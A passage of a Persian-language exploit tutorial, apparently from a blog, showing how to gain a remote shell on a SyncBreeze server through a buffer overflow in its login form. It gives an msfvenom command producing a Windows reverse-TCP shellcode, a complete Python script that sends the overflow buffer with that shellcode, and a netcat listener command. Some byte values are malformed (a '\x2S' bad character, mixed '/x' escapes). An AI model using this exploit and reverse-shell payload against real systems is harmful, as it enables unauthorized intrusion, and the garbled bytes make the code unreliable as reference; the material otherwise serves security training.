توجه داشته باشید که آدرس وارد شده در بالا به صورت معکوس است. این به دلیل نظم بایت اندین (endian byte order) میباشد. سیستم عامل میتواند آدرسها و دادهها را در قالبهای مختلف در حافظه ذخیره کند. به طور کلی، فرمت مورد استفاده برای ذخیره کردن آدرسها در حافظه به معماری سیستم عامل در حال اجرا بستگی دارد. little endian در حال حاضر پرکاربردترین فرمت میباشد که توسط معماری x86 و AMD64 مورد استفاده قرار میگیرد، در حالی که از big endian در گذشته درمعماری Spare و PowerPC استفاده میشد. در فرمت اندین کوچک، بایت مرتبه پایین در کمترین آدرس و بایت مرتبه بالا در بالاترین آدرس در حافظه ذخیره میشود. بنابراین، ما باید آدرس برگشت را به ترتیب معکوس در بافر خود ذخیره کنیم تا پردازنده آن را به درستی در حافظه تفسیر کند.
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.21.100 LPORT=443 -f c -e x86/shikata_ga_nai -b "\x00\x0a\x0d\x2S\x26\x2b\x3d"
بنابراین shell نهایی به ترتیب زیر خواهد بود.
!/usr/bin/python
import socket
try:
print(" \nSending evil buffer … ")
filler = "A" * 780
eip = "\x83/x0c/x09/x10"
offset = "C" * 4
shellcode = ("\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
"\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
"\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68"
"\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x05\x68\xc0\xa8\x15\x64\x68"
"\x02\x00\x01\xbb\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5\x74\x61"
"\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec\x68\xf0\xb5\xa2"
"\x56\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3\x57\x57\x57\x31\xf6"
"\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01\x01\x8d\x44"
"\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46\x56\x4e\x56\x56"
"\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89\xe0\x4e\x56\x46\xff"
"\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6"
"\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
"\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5")
nops = "\x90" * 10
inputBuffer = filler + eip + offset + nops + shellcode
content= "username=" + inputBuffer + "&password=A"
buffer = "POST /login HTTP/1.1\r\n"
buffer+= "Host: 192.168.21.123\r\n"
buffer+= "User-Agent: Mozilla/5.0 (X11; Linux_86_64; rv:52.0) Gecko/20100101 Firefox/52.0\r\n"
buffer+= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8\r\n"
buffer += "Accept-Language: en-US,en;q=0.5\r\n"
buffer += "Referer: http://192.168.21.123/login\r\n"
buffer += "Connection: close\r\n"
buffer += "Content-Type: application/x-www-form-urlencoded\r\n"
buffer += "Content-Length: "+str(len(content))+"\r\n"
buffer += "\r\n"
buffer+= content
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.21.123", 80))
s.send(buffer)
s.close()
print(" \nDone!")
except:
print("Could not connect!")
با استفاده از دستور زیر نرمافزار nc را در حالت listening اجرا و Exploit خود را مجددا اجرا میکنیم.
sudo nc -lnvp 443

در اینجا کار ما به اتما میرسد و در نهایت ما از آسیبپذیری موجود SyncBreeze استفاده کرده و به سرور آن دسترسی shell گرفتیم.
دیدگاهتان را بنویسید